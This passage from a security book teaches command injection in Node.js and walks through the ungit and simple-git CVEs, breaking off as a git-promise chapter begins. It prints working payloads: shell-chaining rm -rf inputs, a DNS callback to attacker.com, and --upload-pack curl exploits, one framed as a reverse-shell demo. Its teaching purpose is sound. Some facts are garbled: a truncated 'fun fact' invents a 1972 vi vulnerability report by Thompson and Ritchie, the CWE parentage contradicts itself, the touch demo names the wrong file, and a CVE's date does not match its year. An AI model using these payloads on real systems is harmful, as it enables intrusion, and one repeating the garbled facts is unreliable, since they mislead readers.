In this introductory chapter we learn about command injection as a security vulnerability. We also learn
why software is commonly vulnerable to this type of vulnerability, and its impact on applications and
software libraries. We also expand upon different types of command injection vulnerabilities and how
the security community classifies this vulnerability.

Learnings

By the end of this chapter, you should be able to answer questions such as:

• What makes command injection vulnerabilities so common?

• What are the types of command-injection vulnerabilities?

• How do you classify command injection vulnerabilities?

• Command injection vulnerabilities and their impact on applications and software libraries.

• Patterns of insecure code that lead to command injection vulnerabilities and identifying them in
other programming languages.

Chapter 2. Command Injection | 17


2.1. What is Command Injection?
Command injection is a specific form of injection attack, such as SQL injection and Cross-site Scripting
injection (XSS). The attack exploits vulnerabilities in program code that executes system commands. It
insecurely concatenates user input, or completely misses to properly sanitize or encode user input that
is passed to the command being executed.

When code that is meant to spawn system processes cannot distinguish between the programmer’s
original intention and dangerous user input. This results in an unsafe and unsantizied command being
executed.

The class of injection attacks has been featured at the top of OWASP’s Top 10 web security risks for over
two decades. These types of attacks have been a pivotal, recurring, and dangerous set of vulnerabilities
that developers have struggled with mitigating for a long time.

2.2. Command Injection Types


It may be surprising, but command injection takes on many shapes and forms, beyond the common
seemingly obvious code pattern of string concatenation into a system command.

In this section, we will explore the different types of command injection vulnerabilities and how they can
be exploited. Among others, you will learn:

1. The different types of command injection vulnerabilities.

2. How to identify various insecure code patterns.

At the end of each vulnerability chapter you will also learn about root causes and how to apply secure
coding practices and other conclusions. This will effectively help you avoid these types of vulnerabilities
when writing code.

NOTE

The Command Injection vulnerability is classified as "CWE-77: Improper Neutralization of Special



Elements used in a Command ('Command Injection')", which is the parent Common Weakness
Enumeration (CWE) classification of other command injection types.

2.2.1. OS Command Injection

OS command injection is classified formally as CWE-78 which describes it as Improper Neutralization of

18 | Chapter 2. Command Injection


Special Elements used in an OS Command. It refers specifically to an attacker’s ability to inject
commands that are executed by an operating system (OS).

The Node.js runtime enables developers to execute operating system commands using the Child Process
API accessible through node:child_process which provides synchronous and asynchronous methods
to spawn subprocesses.

A Node.js command injection vulnerability is shown below as an example of OS command injection:

./app.js

const { execSync } = require('child_process');


execSync('git clone ' + user_specified_git_repository);

In this example, the variable user_specified_git_repository is user-controlled input of a remote


Git repository to clone, which is concatenated with the git command.

As another reference to vulnerable code, the following is an OS command injection example in PHP:

./app.php

$username = $_POST["username"];
system('ls -l /home/' . $username);

In both code snippets above, a user is in control of input such as the URL for a Git repository to be
cloned in the Node.js example. In the PHP example, a user can list files in a user’s home directory on a
server. This user input that we refer to as a source is then concatenated to operating system commands
(git and ls, respectively) using sensitive APIs (execSync and system, respectively) which we refer to as
a sink.

By controlling these inputs, attackers exploit an OS Command Injection vulnerability, with a payload such
as ; touch /tmp/pwned . This payload uses the special character of a semicolon (;) which instructs a
shell interpreter to terminate a command, and begin another command to be executed. In that payload,
touch is a Unix command that creates empty new files at a given path. However, more destructive
inputs such as deleting all files, reading environment variables and sending them to a remote attacker,
would’ve been just as easy to abuse on a vulnerable system.

2.2.2. Argument Injection

An interesting and not widely known type of command injection is that of Argument Injection which is
classified as CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument
Injection').

Chapter 2. Command Injection | 19


Would you find the following code snippet vulnerable to command injection?

const { execFile } = require('child_process');


execFile('git', ['ls-remote', url, branch]);

You might answer "no", and you might rationalize it as follows: the code snippet is not vulnerable to
command injection because the url and branch variables are not concatenated with the git
command. Instead, they are passed as arguments to the git command.

However, you’d be wrong and that’s a common misconception and blind spot regarding argument
injection vulnerabilities.

In the case of an Argument Injection vulnerability, a developer constructs a command to be executed.


This command is composed of command arguments in which user-controlled input is able to modify the
arguments provided to the command that is to be executed. This is in contrast to command injection
attacks where the goal is to execute a completely new command altogether.

Let’s consider an example where an application uses the wget command to download a resource from a
given URL:

const imageUrl = sanitizeDangerousShellChars(req.body.imageUrl);


child_process.exec(`wget ${imageUrl}`, (error, stdout, stderr) => {});

In this code snippet, the sanitizeDangerousShellChars() function has been written by a


responsible developer who understands command injection vulnerabilities. As such, and as one would
expect, it detects any forms of characters such as ;, &&, || or others that can be found in a string and
instructs the shell to run the command specified after these characters.

However, what if the imageUrl consisted of string URLs such as:

• -O ~/.bashrc

• -P /etc

The above examples make use of command-line options such as specifying the output document (-O) or
the directory prefix (-P).

These payloads are designed to change the original intention the developer had when building the wget
command. This could result in arbitrary file overwriting, or other severe consequences such as denial of
service. This was made possible due to the developer trusting a command argument passed as input
from a user. This ended up abusing the available command-line arguments and options available to use
within the scope of a specific command.

20 | Chapter 2. Command Injection


FUN FACT

The first security vulnerability ever reported that was classified as Argument Injection dates back
to May 25th, 2004.

The vulnerability, identified as CVE-2004-2687, was found in the Opera browser and its handling
of Telnet protocol scheme. From the original report:

The telnet URI handler in Opera does not check for leading '-'
characters in the host name. Consequently, a maliciously-crafted
telnet:// link may be able to pass options to the telnet program
itself. One example would be the following:

telnet://-nMyFile

If MyFile exists in the user's home directory and the user clicking on
the link has write permissions to it, the contents of the file will be
overwritten with the output of the telnet trace information. If MyFile
does not exist, the file will be created in the user's home directory.

was a command injection vulnerability. It was reported in 1972 by Ken Thompson, the creator of
the Unix operating system, and Dennis Ritchie, the creator of the C programming language. The
vulnerability was in the vi text editor, and the vulnerability report was titled "Command
Injections in vi". The vulnerability was fixed in the same year.

Even though Argument Injection vulnerabilities date back to 2004, we’ve only seen reports of this type of
vulnerability in the wild in the last few years. Is this because the majority of developers are not aware of
this type of vulnerability and how to prevent it, or perhaps it is because this type of vulnerability has a
narrow scope given that it requires command-line tools to be used in a very specific way?

[1]
A recent study by Alessio Della Libera shows the rise in the number of vulnerabilities published in 2022.
This is across ecosystems from PHP and Ruby to Python and JavaScript. The study focuses on how this
vulnerability manifests in various version control systems such as Git and Mercurial. It also focuses on
how vulnerabilities found in one are easily transferable to the other.

[2]
Another study by SonarSource shows that Argument Injection vulnerabilities are not limited to version
control systems. The study shows that this type of vulnerability exists in a wide range of tools and
libraries. These include psql, sendmail, ssh, tar, zip and other command-line tools.

Chapter 2. Command Injection | 21


2.2.3. Blind Command Injection

A Blind Command Injection is not formally a type of command injection vulnerability. Instead, it is a
technique that helps attackers as they engage in reconnaissance and exploitation of command injection
vulnerabilities.

Sometimes, an application may use system commands in an out-of-bounds context. Meaning, the actual
action of executing the command happens in a different set of contexts or environments altogether. This
doesn’t return a command’s output or any form of immediate feedback to a user that interacts with the
system, and indirectly, with the command.

To lean on the previous example used to explain argument injection, imagine a scenario where a user
provides an image, and the system takes this input, pushes it to a queue, and then worker nodes are
spawned in response to queue messages with the purpose of downloading images and performing
image processing tasks, such as converting between different formats or applying specific image
resolution changes.

These worker nodes are servers, or functions, that operate in an out-of-bound context. As in, they don’t
expose any API to interact with and aren’t directly accessible by an attacker. Yet, they may still be
vulnerable to Command Injection or Argument Injection. In this case though, how would an attacker find
out about that?

By providing an exploit payload which is specifically crafted to trigger a side effect and then monitoring
for whether it successfully took place. For example, an attacker that is in control of a domain name
system of their own operation, can monitor for whether DNS requests are executed to resolve
addresses. Then, they can craft a payload which triggers a domain name resolution, such as nslookup
attacker.com. If a worker node is vulnerable to a type of command injection which results in this
command executed, then attackers have now become cognizant of a command injection vulnerability
that exists somewhere in some system or subsystem. They are then able to further fine-tune their
payloads to increase the attack surface and infiltrate the system or take other paths towards
compromising a given system.

2.3. Command Injection in CWE


Common Weakness Enumeration, also known as the CWE acronym, is a method for classifying types of
weakness.

For command injection related vulnerabilities, CWE-77 is used as the parent weakness identifier and can
be further expanded into specific types of command injection vulnerabilities. The following are
commonly used CWEs to classify them:

• CWE-78: Improper Neutralization of Special Elements used in an OS Command

22 | Chapter 2. Command Injection


• CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')

Note that CWE-78 is the parent weakness identifier for command injection vulnerabilities. This means
that CWE-78 is a more general weakness identifier, and that CWE-88 is a more specific weakness
identifier that applies to vulnerabilities classified as argument injection.

2.4. Command Injection in Other Languages


Command injection vulnerabilities are not unique to the Node.js ecosystem. They have been manifesting
themselves in C-based embedded system appliances, and PHP-based web systems, as some examples,
for many years.

Whether you are originally a JavaScript developer, or have experience with other programming
languages, it is imperative to train your brain to recognize these patterns of command injection.

Let’s explore several real-world vulnerabilities in other frameworks and languages, beyond Node.js.

2.4.1. Command Injection in C

Let’s look at the following small C program which prints the contents of a file.

1 define CMD_MAX = 1000


2 int main(char* argc, char** argv) {
3 char cmd[CMD_MAX] = "/usr/bin/cat ";
4 strcat(cmd, argv[1]);
5 system(cmd);
6 }

To print the contents of the file, the program works as follows:

1. It uses the cat UNIX-based utility that exists on UNIX-based operating systems such as macOS, and
Linux distributions.

2. It receives user input in the form of a command argument. Specifically, the first argument passed to
this program is the file path for the file to view the contents of.

3. It concatenates the cat command with user input to form the full command, and executes it via the
system system call.

While this program code may seem innocent, since the user is unable to actually change the cat
command to anything else. It is after all, hard-coded into the program’s source code. And also, if the user

Chapter 2. Command Injection | 23


is able to provide the file path as a command-line argument, they can’t manipulate the actual program
that executes.

Let’s now look at the following user input passed to the following C program:

$ ./my-file-viewer "/etc/passwd ;rm -rf /etc/important-file"

As you can see, this program’s input is now taking advantage of the special shell character ;. It
terminates the former command, and begins a completely new command which deletes the file
/etc/important-file.

Of course, the special semicolon character ; is not the only one to be aware of, if you are thinking in
terms of sanitizing potentially dangerous characters. Here are other examples of file path user input:

1. "/etc/passwd & rm -rf /etc/important-file" shows the use of the single ampersand
character & which is used to run commands in the background.

2. "/etc/passwd && rm -rf /etc/important-file" shows the user the double ampersand
character && which is a logical AND operation, so it will run the right-most command if the left-most
command is truthy.

There are many more permutations of shell characters that may be used in command injection attacks.
If anything, the above only shows that sanitizing user input in the context of command injection isn’t an
easy task and shouldn’t be taken lightly.

2.5. Test Your Knowledge


In this section, you can check your understanding of the concepts and best practices presented in this
chapter through multiple-choice questions. Answer them to the best of your ability, and check your
answers at the end of the section.

Select the correct answer (some questions may have multiple correct answers):

1. What is Command Injection?

a. A vulnerability that allows an attacker to steal commands from running servers

b. A method of injecting CSS code into a website

c. A security vulnerability that allows an attacker to execute arbitrary commands on a server

d. A type of operating system system call that can be abused by attackers

2. Which module in Node.js is vulnerable to Command Injection?

a. The crypto module

24 | Chapter 2. Command Injection


b. The http module

c. The child_process module

d. The fs module

3. How can Command Injection be prevented in Node.js?

a. By using a firewall to block incoming requests

b. By disabling the child_process module

c. By validating and sanitizing user input, and using a secure process execution API such as
execFile

d. By encrypting the server’s file system

4. What is the impact of a successful Command Injection attack?

a. An attacker can modify the server`s DNS settings

b. An attacker can launch a DDoS attack against the server

c. An attacker can steal user credentials

d. An attacker can execute arbitrary commands on a server, potentially gaining access to sensitive
data or causing system damage

5. What is Argument Injection?

a. A security vulnerability that allows an attacker to modify the return value of a function call in
order to execute malicious code

b. A security vulnerability that allows an attacker to modify the functionality of a function call in
order to execute malicious code

c. A security vulnerability that allows an attacker to modify the arguments of a function call in order
to execute malicious code

d. A security vulnerability that allows an attacker to modify the parameters of a function call in
order to execute malicious code

6. What is the CWE ID for Command Injection vulnerabilities?

a. CWE-79

b. CWE-78

c. CWE-119

d. CWE-89

Chapter 2. Command Injection | 25


2.5.1. Answers

The correct answers are as follows:

1. c)

2. c)

3. c)

4. d)

5. c)

6. b)

[1] https://snyk.io/blog/argument-injection-when-using-git-and-mercurial
[2] https://sonarsource.github.io/argument-injection-vectors

26 | Chapter 2. Command Injection


Chapter 3

CVE-2022-25766: Command Injection in ungit

The ungit npm package is both an open source library as well as a full fledged web application to
manage git repositories and aims to be a cross-platform solution.

Figure 4. The ungit npm package popularity ranking

Even from this supposedly unpopular project we can learn a lot about the surprising ways in which
command injection may occur. Based on Snyk’s Advisor popularity metrics this module receives just
under 1000 downloads a week, hence a really small user-base. The yearly download count hits about
30,000 and while it isn’t a big user base, many users would be impacted by a severe vulnerability here.
To be fair, ungit is more of a project than a library, and as such it boasts almost 10,000 GitHub stars
which demonstrate a decent popularity rank.

Like many Git-related libraries, ungit relies on the existence of the git program on the system it runs
on, and uses it in the form of spawning system processes for functionality like cloning a repository, and
fetching updated source code versions from Git branches. Surely, at this point you might be thinking that
this is another insecure use of concatenating user input with system commands from the program.
While that is indeed a common pattern with OS command injection related vulnerabilities, it isn’t here. At
least not exactly in the way you think.

On March 21st, 2022, a remote command injection vulnerability was published by the Snyk security
research team. A few notes about this open-source project and the security posture of the maintainer:

Chapter 3. CVE-2022-25766: Command Injection in ungit | 27


1. This vulnerability impacts all prior versions of the ungit npm module. For a software component
that has been on the npm registry since 2013, this makes it a very impactful issue and demonstrates
the need for proper dependency management tools.

2. This command injection security vulnerability was disclosed on March 2nd and a fixed version
addressing the concerns was published in just under 3 weeks.

Before we continue to learn more from the security vulnerability report, let’s focus on the original author
code. The following code snippets show the vulnerable code that was identified as part of the CVE
report.

The git-api.js file defines a /fetch API endpoint to which the web interface can make requests in
order to invoke a git fetch workflow:

ungit/git-api.js

1 const gitPromise = require('./git-promise');


2 app.post(
3 `${exports.pathPrefix}/fetch`,
4 ensureAuthenticated,
5 ensurePathExists,
6 ensureValidSocketId,
7 (req, res) => {
8 // Allow a little longer timeout on fetch (10min)
9 if (res.setTimeout) res.setTimeout(tenMinTimeoutMs);
10
11 const task = gitPromise({
12 commands: credentialsOption(req.body.socketId, req.body.remote
).concat([
13 'fetch',
14 req.body.remote,
15 req.body.ref ? req.body.ref : '',
16 config.autoPruneOnFetch ? '--prune' : '',
17 ]),
18 repoPath: req.body.path,
19 timeout: tenMinTimeoutMs,
20 });
21
22 jsonResultOrFailProm(res, task).finally(emitGitDirectoryChanged.
bind(null, req.body.path));
23 }
24 );

Let’s look at the git-promise.js source file:

28 | Chapter 3. CVE-2022-25766: Command Injection in ungit


ungit/git-promise.js

1 const git = (commands, repoPath, allowError, outPipe, inPipe, timeout) =>


{
2 let args = {};
3 if (Array.isArray(commands)) {
4 args.commands = commands;
5 args.repoPath = repoPath;
6 args.outPipe = outPipe;
7 args.inPipe = inPipe;
8 args.allowError = allowError;
9 } else {
10 args = commands;
11 }
12
13 args.commands = gitConfigArguments.concat(
14 args.commands.filter((element) => {
15 return element;
16 })
17 );
18 args.timeout = args.timeout || 2 * 60 * 1000; // Default timeout tasks
after 2 min
19 args.startTime = Date.now();
20
21 return gitExecutorProm(args, config.lockConflictRetryCount);
22 };
23
24 module.exports = git;

It seems that the code path from the original gitPromise() function call on the API file flows through
the gitExecutorProm() function. Let’s take a look:

ungit/git-promise.js

1 const child_process = require('child_process');


2 const gitExecutorProm = (args, retryCount) => {
3 let timeoutTimer;
4 return pLimit(() => {
5 return new Promise((resolve, reject) => {
6 if (config.logGitCommands)
7 winston.info(`git executing: ${args.repoPath} ${args.commands.
join(' ')}`);
8 let rejectedError = null;
9 let stdout = '';
10 let stderr = '';
11 const env = JSON.parse(JSON.stringify(process.env));

Chapter 3. CVE-2022-25766: Command Injection in ungit | 29


12 env['LC_ALL'] = 'C';
13 const procOpts = {
14 cwd: args.repoPath,
15 maxBuffer: 1024 * 1024 * 100,
16 detached: false,
17 env: env,
18 };
19 const gitProcess = child_process.spawn(gitBin, args.commands,
procOpts);
20 timeoutTimer = setTimeout(() => {
21 if (!timeoutTimer) return;
22 timeoutTimer = null;
23
24 winston.warn(`command timedout: ${args.commands.join(' ')}\n`);
25 gitProcess.kill('SIGINT');
26 }, args.timeout);
27 // ...
28 });
29 });
30 };

Spend some time now reasoning about the code path as shown above and locating where the
vulnerability lies in the code.

1. If you were doing a code review, what could you share about the gitExecutorProm() function
from a secure coding conventions point of view?

2. Can you think of methods of securely building an application that provides Git management
functionality that doesn’t involve spawning system commands or relying on the git program?

NOTE

One of the reasons for missed security vulnerabilities is that real-world code-bases tend to be

large, even with microservices architecture. Like in this case, code paths also tend to flow
between different files, which further contributes to difficulties finding them.

3.1. About the Security Vulnerability


The security vulnerability impacting ungit, as described in the Snyk report, is said to be vulnerable to
Remote Code Execution (RCE) via argument injection. When using the /api/fetch endpoint, the
problem occurs. The git fetch command receives user-controlled values (such as remote and ref). As
such, it was possible to achieve unrestricted command execution by injecting git-supported command-

30 | Chapter 3. CVE-2022-25766: Command Injection in ungit


line parameters.

The CVE report, CVE-2022-25766, provides further details as to the vulnerable version range and severity:

1. It impacts all versions of ungit up to versions identified by the range <1.5.20.

2. It finds this vulnerability’s severity to be high with a CVSS score of 8.8. This is due to identifying the
vulnerability’s Attack Vector of Network, as well as not requiring any user interaction nor elevated
privileges on systems that deploy ungit.

3.2. Setting Up a Vulnerable Test Environment


To get started, we’re going to need to deploy versions of ungit prior to 1.5.20. A functional and recent
version candidate is [email protected] which was published on January 30th, 2022.

TIP

You can use a free and public Snyk endpoint to test for security vulnerabilities in specific versions

of npm packages, by querying the URL endpoint such as the following:
https://snyk.io/test/npm/ungit/1.5.19

While there are several ways of getting ungit deployed locally, we’ll install the specific package version
that includes the code vulnerability into a temporary directory, as follows:

1. Create an empty directory, such as: mkdir /tmp/ungit-test

2. In this newly created directory, initialize an npm project as follows: npm init -y

3. Install a known vulnerable version of ungit as follows: npm install [email protected] --ignore
-scripts --save

4. Create another directory to initialize a Git project in:

a. Create the directory mkdir /tmp/example-git-repo

b. In the newly created directory, initialize a Git working space: cd /tmp/example-git-repo &&
git init

c. Head over to the directory where we installed ungit in ( /tmp/ungit-test) and now we’ll run it
and force it to open up with the sample Git repository that we initialized in /tmp/example-git-
repo. To do that, run it as follows: ./node_modules/.bin/ungit --forcedLaunchPath
/tmp/example-git-repo.

If you followed all of the above steps correctly, you should have ungit running and automatically
opening a browser tab that loads the local application and logs the following output:

Chapter 3. CVE-2022-25766: Command Injection in ungit | 31


Took 512ms to start server.
Navigate to http://localhost:8448/#/repository?path=/tmp/example-git-repo

Here’s a screenshot of the ungit application running as per the above instructions:

Figure 5. The ungit npm package runs in a local development environment and exposes an
administration user interface.

3.3. Exploiting the Security Vulnerability


The source code on line 69 in git-promise.js shows the way in which the git process is executed:

ungit/git-promise.js

const gitProcess = child_process.spawn(gitBin, args.commands, procOpts);

On the surface, this looks like a secure way of invoking system commands. Indeed, the Node.js API
spawn() does well to separate the program being executed (gitBin) from the command-line
arguments passed to it (args.commands).

Where does the security vulnerability lie? Your first question to ask here is: which parts of this line of
code are user-controlled?

The source code for git-promise.js shows that gitBin is essentially a constant that is being resolved
using program heuristics to match the git program on the system it runs on:

32 | Chapter 3. CVE-2022-25766: Command Injection in ungit


ungit/git-promise.js

1 const gitBin = (() => {


2 if (config.gitBinPath) {
3 return (config.gitBinPath.endsWith('/') ? config.gitBinPath : config
.gitBinPath + '/') + 'git';
4 }
5 return 'git';
6 })();

Let’s look at the second function argument of that spawn() function call - args.commands. It is
necessary to trace back to one of the functions that calls args.commands to learn what type of variable
data is handled here. Let’s examine the relevant source code of the /api/fetch endpoint in git-
api.js:

ungit/git-promise.js

1 const task = gitPromise({


2 commands: credentialsOption(req.body.socketId, req.body.remote
).concat([
3 'fetch',
4 req.body.remote,
5 req.body.ref ? req.body.ref : '',
6 config.autoPruneOnFetch ? '--prune' : '',
7 ]),
8 //..
9 })

Reading the source code above, it seems the passed commands array is hard-coding the fetch string,
hence creating a git fetch command to be executed. While on the surface this looks secure, it also
includes user input originating from the HTTP request body in the form of the remote, and ref fields.
The end result of a typical command that would be executed is:

git fetch <remote> <ref>

What’s a remote in Git? You probably think of remote Git URLs to clone, and fetch. The maintainer of this
library thought the same.

Apparently, the fetch command in the git program has a special argument passed to it as the value of
remote. Let’s look at the manual page for the git program for that:

> git fetch -h


usage: git fetch [<options>] [<repository> [<refspec>...]]

Chapter 3. CVE-2022-25766: Command Injection in ungit | 33


or: git fetch [<options>] <group>
or: git fetch --multiple [<options>] [(<repository> | <group>)...]
or: git fetch --all [<options>]

-v, --verbose be more verbose


-q, --quiet be more quiet
--all fetch from all remotes
--set-upstream set upstream for git pull/fetch
-a, --append append to .git/FETCH_HEAD instead of overwriting
--upload-pack <path> path to upload pack on remote end

What does the --upload-pack option do? In this way, it is possible to set a path for a program to be
called, upon which it will perform some Git-related work, on a certain path.

Well, then let’s try it out locally, outside of the whole ungit program. To test things out, we can make
use of the sample Git repository we created before. Run the following commands in your terminal:

1. cd /tmp/example-git-repo

2. git fetch --upload-pack=touch liran-was-here

After running it you’ll notice that the git program exited with an error about not being able to read from
a remote repository. Of course, because we didn’t provide one. But guess what happened? That’s right, a
new file named abc was created on disk:

example-git-repo on  master [?]


> ls -al
total 0
drwxr-xr-x 4 lirantal wheel 128 21:38 .
drwxrwxrwt 12 root wheel 384 20:49 ..
drwxr-xr-x 10 lirantal wheel 320 21:38 .git
-rw-r--r-- 1 lirantal wheel 0 21:38 abc

With this knowledge, we can turn that into a functional exploit that we will employ as part of the
/api/fetch API route that ungit exposes. In fact, the maintainer indeed shared such an exploit as part
of a public pull request on the GitHub repository, which includes a fix for the issue.

Here’s the exploit command payload to execute while the ungit service is running in the background
with a repository loaded:

curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-
pack=touch /tmp/liran-is-here-too","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \

34 | Chapter 3. CVE-2022-25766: Command Injection in ungit


-X POST http://localhost:8448/api/fetch

Now, check your file system for the existence of the file /tmp/liran-is-here-too, demonstrating how
an Argument Injection attack works.

At this point, if you fancy creating a remote reverse shell example, the original exploit as shared in the
aforementioned GitHub pull request features a local server used with the netcat command that shows
how the Node.js server running the ungit program will actually attempt to connect to your own service:

curl -d '{"path":"/private/tmp/example-git-repo","remote":"--upload-pack=curl
http://localhost:8000","ref":"foobar","socketId":1}' \
-H "Content-Type: application/json" \
-X POST http://localhost:8448/api/fetch

3.4. Reviewing the Security Fix

NOTE

Take a moment to come up with your own ideas and methods before reading the details of the
fix for the command injection vulnerability without making a significant change.

The maintainer created a pull request to address the command injection vulnerability. Let’s see what we
can learn from examining the commit diff:

1 From 37a6893f7e03c41c1027acd68de062f44d85acc1 Mon Sep 17 00:00:00 2001


2 From: "Jung (JK) Kim" <[email protected]>
3 Date: Thu, 17 Mar 2022 17:21:05 -0700
4 Subject: [PATCH] Fix potential remote code exec
5
6 ---
7 source/git-api.js | 3 ++-
8 1 file changed, 2 insertions(+), 1 deletion(-)
9
10 diff --git a/source/git-api.js b/source/git-api.js
11 index 4aec16c2c..c566f082c 100644
12 --- a/source/git-api.js
13 +++ b/source/git-api.js
14 @@ -292,9 +292,10 @@ exports.registerApi = (env) => {
15 const task = gitPromise({
16 commands: credentialsOption(req.body.socketId, req.body.remote

Chapter 3. CVE-2022-25766: Command Injection in ungit | 35


).concat([
17 'fetch',
18 + config.autoPruneOnFetch ? '--prune' : '',
19 + '--',
20 req.body.remote,
21 req.body.ref ? req.body.ref : '',
22 - config.autoPruneOnFetch ? '--prune' : '',
23 ]),
24 repoPath: req.body.path,
25 timeout: tenMinTimeoutMs,

The simplistic one-liner fix here is actually very powerful and demonstrates a deep understanding of how
the Unix shell works.

The fix is to add the set of -- characters to the constructed git command, which turns it into the
following:

git fetch -- touch /tmp/liran-is-here-too foobar

How is that useful in mitigating the vulnerability?

The use of the -- characters have a special meaning for the shell interpreter. It signals to the program
(git in our case) to stop processing command-line arguments after the occurrence of the --, and treats
anything after it as positional arguments to the git program.

It is an elegant solution to avoid argument injection in program execution that leaks into the parsing of
command-line arguments.

NOTE

What other Unix utilities, that are often used as offloading work to, in the form of system

commands, can you think of? Do they include any arguments that may result in arbitrary
command injection?

36 | Chapter 3. CVE-2022-25766: Command Injection in ungit


3.5. Lessons Learned
The OS Command Injection vulnerability in the ungit project revealed a valuable learning experience
for us. To begin with, it is crucial to avoid string concatenation for input flowing to a system command, as
it may be controlled by users. The following Node.js system processes API call makes use of the insecure
exec() function:

const gitProcess = child_process.exec(`${gitBin} ${args.commands}`);

That said, one might have deferred to the safer version of executing system processes, either with
spawn(), or with execFile(). Yet, the following code snippet is taken from ungit original source code
which was found vulnerable:

const gitProcess = child_process.spawn(gitBin, args.commands, procOpts);

The key lesson we learned from this security vulnerability is the case of argument injection. This is
because attackers are able to control the data passed as arguments to the executed command. By doing
so, they are able to manipulate the original intention of a command and drive a different behavior
through its supported command-line arguments.

We learned about this attack vector, and more importantly, how to effectively mitigate such concerns by
employing the double dash -- special shell characters which communicates the end of arguments and
options parsing, and leaves further string text to be interpreted as position arguments to a command.

Further learning about Argument Injection attacks:

• Argument injection impacting Git via CVE-2018-17456

• Argument injection impacts Docker’s build command via CVE-2019-13139

Chapter 3. CVE-2022-25766: Command Injection in ungit | 37


Chapter 4

CVE-2022-24066: Command Injection in


simple-git

If you find the ungit argument injection lesson educational, but think it to be not as impactful on the
ecosystem due to the npm package being small in popularity as a project dependency, then I have news
for you.

Let me direct your attention to the npm package simple-git, which boasts nearly 2 million downloads
a week, and was found vulnerable to the same attack vector, identified as CVE-2022-24066.

Figure 6. The simple-git npm package popularity ranking

So, simple-git is so popular that it is also used as a direct dependency in many projects. Looking at the
log of all security vulnerabilities disclosed to the library, we learn that CVE-2022-24433 was assigned and
disclosed on 11th of March 2022 for a similar case of Argument Injection as we learned with the case of
ungit:

38 | Chapter 4. CVE-2022-24066: Command Injection in simple-git


Figure 7. The GitHub pull request that fixes the argument injection vulnerability in simple-git

The fix in pull request #767 was merged and published as version 3.3.0. Yet, just a short two weeks later,
it was still found susceptible to the same attack vector, identified and disclosed as CVE-2022-24066.

FUN FACT

The command injection vulnerability discussed in this chapter was identified and disclosed as

CVE-2022-24066 on March 29th as found by the author of this book, Liran Tal. In addition, Liran
discovered a similar attack vector impacting the git-pull-or-clone npm package, identified
by CVE-2022-24437, and several other npm packages.

4.1. About the Security Vulnerability


As would be expected, a Git-related library would provide a plethora of Git capabilities to consumers.
While the former vulnerability had identified and mitigated the attack vector of Git’s fetch command, it
didn’t take into account other commands that support the --upload-pack argument. One example of
such a command is the 'git clone` command that is used in the simple-git package, yet had no security
controls to protect against Argument Injection.

Chapter 4. CVE-2022-24066: Command Injection in simple-git | 39


4.2. Exploiting The Security Vulnerability
The exploitation of the repository clone API requires the following conditions to be met:

• The ability to specify a non-HTTP accessible Git repository, so a filesystem-based Git workspace
would be an ideal option.

• A file path to be specified, allowing for empty directories.

• When handling an array of command-line arguments, they aren’t sanitized, escaped or otherwise
modified.

With that, we’re ready to demonstrate how a command injection vulnerability occurs when users control
the options passed to this git.clone() API call:

const simpleGit = require('simple-git')

const git = simpleGit()


git.clone('file:///tmp/zero123', '/tmp/example-new-repo', ['--upload
-pack=touch /tmp/pwn']);

Once the code has executed, a new file is created /tmp/pwn.

4.3. Reviewing the Security Fix


To mitigate the security vulnerability, the maintainer added the following logic as a security control and
released this fix in the updated package version [email protected]:

simple-git/src/lib/tasks/clone.ts

1 + function disallowedCommand(command: string) {


2 + return /^--upload-pack(=|$)/.test(command);
3 + }
4
5 + export function cloneTask(repo: string | undefined, directory: string |
undefined, customArgs: string[]): StringTask<string> | EmptyTask {
6
7 + const banned = commands.find(disallowedCommand);
8 + if (banned) {
9 + return configurationErrorTask(`git.fetch: potential exploit
argument blocked.`);
10 + }

40 | Chapter 4. CVE-2022-24066: Command Injection in simple-git


As a result, this code change effectively mitigates the reported vulnerability. However, several concerns
arise:

1. Once again, the fix is only applied to a specific user-facing API method of Git. What new security
vulnerabilities will be discovered if there are other Git commands that support the --upload-pack
command-line argument on top of clone, and fetch?

2. The fix follows a deny-list approach, which maintains a list of potentially dangerous commands. The
logic for disallowedCommand only includes the --upload-pack command-line argument as an
attack vector to filter, but what happens if future Git versions use other command-line arguments?
simple-git maintained will need to keep this code up to date.

Will these security mitigations help prevent future exploitation techniques from impacting the simple-
git library? Time will tell.

NOTE

Argument Injection vulnerabilities shouldn’t be underestimated. They can be used to execute


arbitrary commands on the host machine. They can be chained with other vulnerabilities to
achieve remote code execution (RCE) on the host machine.

One case study of the real-world security implications of argument injection vulnerabilities is
unveiled in HackerOne report #658013, which details how the open-source GitLab project was
exploited using query parameters in HTTP requests that allowed arbitrary command-line
arguments to be injected into the Git command.

Chapter 4. CVE-2022-24066: Command Injection in simple-git | 41


4.4. Lessons Learned
Beyond using safe system process APIs and practicing secure coding conventions, this vulnerability
teaches us that when we defer to spawning operating system commands, we should carefully examine
the fine details of arguments passed to commands. Taking into account command-line arguments, and
positional values passed to the command as part of our security controls against command-injection is
critical to mitigate potential threats.

In summary:

1. It is critical to sanitize and validate user input, especially when passing input as command-line
arguments, to prevent command injection attacks.

2. Using a deny-list approach to security controls may not be sufficient, as it may not cover all potential
attack vectors. Developers should also consider an allow-list approach when building security
controls.

3. Popularity does not necessarily reflect a project’s security posture, nor should it convey that it is
secure or free of vulnerabilities.

4. With the use of third-party libraries for sensitive tasks such as executing system processes,
developers would do well to review the code of said libraries.

5. Security fixes may not cover all attack vectors.

42 | Chapter 4. CVE-2022-24066: Command Injection in simple-git


Chapter 5

CVE-2022-24376: Command Injection in git-


promise

Is it possible that a package that was downloaded more than 2,230,590 times since its inception in 2014
was vulnerable all that time to a command injection vulnerability?

Figure 8. Downloads per year for the git-promise npm package

We are no short of command injection attacks impacting a myriad of Git-related libraries and wrappers.
This time it’s a vulnerability impacting the git-promise open-source project. It is a Node.js library that
is aimed at being a Promised-based Git utility wrapper, allowing API consumers to run any git command.

The git-promise npm package has been in the ecosystem for quite some time now, with the initial
version dating back to 2014, and has gained recognizable popularity, both through 12,000 weekly
downloads by end users and projects, as well as being occasionally used as a direct dependency,
according to the Snyk Advisor.

A Remote Code Execution vulnerability was disclosed on April 25th, 2020, identified by CVE-2022-24376,
